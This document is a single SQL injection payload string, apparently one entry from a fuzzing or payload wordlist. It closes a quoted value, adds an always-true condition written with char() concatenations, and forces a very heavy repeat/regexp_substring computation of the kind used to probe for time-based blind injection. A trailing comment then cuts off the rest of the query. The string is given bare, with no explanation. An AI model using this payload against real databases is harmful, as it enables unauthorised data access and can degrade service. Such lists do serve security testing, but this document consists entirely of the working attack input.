"1' or char  (  75  )  ||char  (  70  )  ||char  (  99  )  ||char  (  83  )    =  regexp_substring  (  repeat  (  left  (  crypt_key  (  char  (  65  )  ||char  (  69  )  ||char  (  83  )  ,null  )  ,0  )  ,500000000  )  ,null  )  --"